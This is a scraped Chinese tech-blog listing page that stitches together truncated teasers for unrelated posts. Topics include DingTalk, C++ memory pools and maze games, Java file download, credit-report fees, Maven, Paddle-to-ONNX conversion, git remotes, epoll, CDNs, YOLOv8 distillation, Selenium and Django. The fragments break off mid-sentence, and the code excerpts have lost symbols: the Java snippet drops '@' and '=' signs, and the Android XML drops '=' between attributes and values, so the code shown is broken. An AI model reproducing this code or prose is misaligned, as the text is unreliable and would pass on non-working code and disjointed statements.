专有钉钉是浙政钉的测试版本,可在正式发布之前进行业务开发。 专有钉钉 原名政务钉钉 是高安全、强管控、灵活开放的面向大型组织专有独享的协同办公平台。支持专有云、混合云等多种方式灵活部署,以满足客户特定场景所需为目标,最大化以“平…...

【lesson2】定长内存池的实现
文章目录 介绍定长内存池的设计定长内存池的实现需要成员变量需要的成员函数定长内存池结构定长内存池Delete(释放空间)的实现定长内存池New(申请空间)的实现 定长内存池的实现完整版 介绍 作为程序员(C/C)我们知道申请内存使用的…...

C++迷宫游戏详解
个人主页:[PingdiGuo_guo] 收录专栏:[C干货专栏] 大家好呀,我是PingdiGuo_guo,今天我们来学习用C实现一个迷宫游戏。 目录 1.迷宫的具体步骤 1.1.迷宫的初始化 1.2.寻路算法 1.DFS算法 2.BFS算法 1.3.移动 2.总结 C迷宫游…...
java下载网络文件
/*** 下载文件** param fileId* param response* throws Exception*/ GetMapping("/downLoadFile") public void downLoadFile(Long fileId, HttpServletResponse response) throws Exception{// 根据文件ID查询文件路径FileDO fileDO fileService.get(fileId);// 定…...

大数据信用报告查询费用一般要多少钱?
一些不少朋友在申贷的时候被拒贷之后,得到的原因就是因为大数据不良被拒,这时候很多人都反过来查询自己的大数据信用报告,而查询的价格也是不少朋友都比较关注的,那大数据信用报告查询费用一般要多少钱呢?下面本文就为你介绍一下…...

【操作宝典】IntelliJ IDEA新建maven项目详细教程
目录 🌼1. 配置maven环境 🌼2. 创建maven项目 🌼3. 创建maven项目完整示例 a. 导入spring boot环境 b. 修改maven配置 c. 下载jar包 d. 创建Java类 🌼1. 配置maven环境 【安装指南】maven下载、安装与配置详细教程-CSDN博客…...

【Java程序设计】【C00196】基于(JavaWeb+SSM)的旅游管理系统(论文+PPT)
基于(JavaWebSSM)的旅游管理系统(论文PPT) 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于ssm的旅游平台 本系统分为前台、管理员2个功能模块。 前台:当游客打开系统的网址后,首先看到的…...

pdmodel从动态模型转成静态onnx
1.下载项目 git clone https://github.com/jiangjiajun/PaddleUtils.git 2.新建两个新的文件夹 第一个文件夹放两个必要文件 第二个文件夹可以设置为空,用来存放转换后的模型 如图: 3.在终端运行 python paddle/paddle_infer_shape.py --model_dir …...

git 如何修改仓库地址
问题背景:组内更换大部门之后,代码仓的地址也迁移了,所以原来的git仓库地址失效了。 虽然重新建一个新的文件夹,再把每个项目都git clone一遍也可以。但是有点繁琐,而且有的项目本地还有已经开发一半的代码,…...

基于springboot篮球论坛系统源码和论文
首先,论文一开始便是清楚的论述了系统的研究内容。其次,剖析系统需求分析,弄明白“做什么”,分析包括业务分析和业务流程的分析以及用例分析,更进一步明确系统的需求。然后在明白了系统的需求基础上需要进一步地设计系统,主要包罗软件架构模式、整体功能模块、数据库设计。本项…...

【三维重建】运动恢复结构(SfM)
运动恢复结构是通过三维场景的多张图像,恢复出该场景的三维结构信息以及每张图片对应的摄像机参数。 欧式结构恢复(内参已知,外参未知) 欧式结构恢复问题: 已知:1、n个三维点在m张图像中的对应点的像素坐标 2、相机内参 求解&…...

Android Studio非UI线程修改控件——定时器软件
目录 一、UI界面设计 1、UI样式 2、XML代码 二、功能编写 1、定义 2、实现方法 3、功能实现 一、UI界面设计 1、UI样式 2、XML代码 <?xml version"1.0" encoding"utf-8"?> <RelativeLayout xmlns:android"http://schemas.android…...

canvas的一些基础
在 Canvas 中,基本图形有两种:直线图形和曲线图形 直线图形:直线、矩形(描边矩形和填充矩形)、多边形 曲线图形:曲线和弧线(弧线是圆的一部分,曲线则不一定,弧线上的每个点都具有相同的曲率&…...

C++(10)——类与对象(最终篇)
目录 static成员 概念 特性 友元 友元函数 友元类 内部类 匿名对象 经过这么多天的分享,C的类与对象终于要结束了。结束也意味着C快要入门了。 static成员 概念 声明为static的类成员称为类的静态成员,用static修饰的成员变量,称之…...
NetApp FAS2750 和 FAS2820 简化分布式企业的存储
拥有分布式企业和多个办公位置的客户希望使用这些系统进行虚拟化,以及为大型 FAS 和 AFF 系统提供简单且经济高效的备份和灾难恢复。 NetApp FAS2750 的规格 非常适合需要轻松部署和简化运维的中小型企业。 • 每个 HA 对的最大原始容量:1.2 PB • 每个…...

Geogebra设置函数定义域
曲线方程设置范围 y 4x 0 / (-4 < y < 4) 函数设置范围 函数(e^x*(2x-1),-2.5,3/4)...

代码随想录刷题笔记 DAY 18 | 找树左下角的值 No.513 | 路经总和 No.112 | 从中序与后序遍历序列构造二叉树 No.106
Day 18 01. 找树左下角的值(No. 513) 题目链接 代码随想录题解 1.1 题目 给定一个二叉树的 根节点 root,请找出该二叉树的 最底层 最左边 节点的值。 假设二叉树中至少有一个节点。 示例 1: 输入: root [2,1,3] 输出: 1 示例 2: 输入…...

【algorithm】一个简单的PID工程 base 用于手生时候快速复习 用于设计模式 cpp语法八股 快速复习校验
写在前面 最近项目一直用matlab,防止手生整一个回忆工具使用的简单的pid demo,走一边流程,包括配工程debug看结果,复用之前记录的配置见我的bloghttps://blog.csdn.net/weixin_46479223/article/details/135082867?csdn_share_t…...

Python处理图片生成天际线(2024.1.29)
1、天际线简介 天际线(SkyLine)顾名思义就是天空与地面的边界线,人站在不同的高度,会看到不同的景色和地平线,天空与地面建筑物分离的标记线,不得不说,每天抬头仰望天空,相信大家都可…...

基于距离变化能量开销动态调整的WSN低功耗拓扑控制开销算法matlab仿真
目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.算法仿真参数 5.算法理论概述 6.参考文献 7.完整程序 1.程序功能描述 通过动态调整节点通信的能量开销,平衡网络负载,延长WSN生命周期。具体通过建立基于距离的能量消耗模型&am…...
【服务器压力测试】本地PC电脑作为服务器运行时出现卡顿和资源紧张(Windows/Linux)
要让本地PC电脑作为服务器运行时出现卡顿和资源紧张的情况,可以通过以下几种方式模拟或触发: 1. 增加CPU负载 运行大量计算密集型任务,例如: 使用多线程循环执行复杂计算(如数学运算、加密解密等)。运行图…...

select、poll、epoll 与 Reactor 模式
在高并发网络编程领域,高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表,以及基于它们实现的 Reactor 模式,为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。 一、I…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...

Yolov8 目标检测蒸馏学习记录
yolov8系列模型蒸馏基本流程,代码下载:这里本人提交了一个demo:djdll/Yolov8_Distillation: Yolov8轻量化_蒸馏代码实现 在轻量化模型设计中,**知识蒸馏(Knowledge Distillation)**被广泛应用,作为提升模型…...
Python+ZeroMQ实战:智能车辆状态监控与模拟模式自动切换
目录 关键点 技术实现1 技术实现2 摘要: 本文将介绍如何利用Python和ZeroMQ消息队列构建一个智能车辆状态监控系统。系统能够根据时间策略自动切换驾驶模式(自动驾驶、人工驾驶、远程驾驶、主动安全),并通过实时消息推送更新车…...
探索Selenium:自动化测试的神奇钥匙
目录 一、Selenium 是什么1.1 定义与概念1.2 发展历程1.3 功能概述 二、Selenium 工作原理剖析2.1 架构组成2.2 工作流程2.3 通信机制 三、Selenium 的优势3.1 跨浏览器与平台支持3.2 丰富的语言支持3.3 强大的社区支持 四、Selenium 的应用场景4.1 Web 应用自动化测试4.2 数据…...
django blank 与 null的区别
1.blank blank控制表单验证时是否允许字段为空 2.null null控制数据库层面是否为空 但是,要注意以下几点: Django的表单验证与null无关:null参数控制的是数据库层面字段是否可以为NULL,而blank参数控制的是Django表单验证时字…...
「全栈技术解析」推客小程序系统开发:从架构设计到裂变增长的完整解决方案
在移动互联网营销竞争白热化的当下,推客小程序系统凭借其裂变传播、精准营销等特性,成为企业抢占市场的利器。本文将深度解析推客小程序系统开发的核心技术与实现路径,助力开发者打造具有市场竞争力的营销工具。 一、系统核心功能架构&…...

什么是VR全景技术
VR全景技术,全称为虚拟现实全景技术,是通过计算机图像模拟生成三维空间中的虚拟世界,使用户能够在该虚拟世界中进行全方位、无死角的观察和交互的技术。VR全景技术模拟人在真实空间中的视觉体验,结合图文、3D、音视频等多媒体元素…...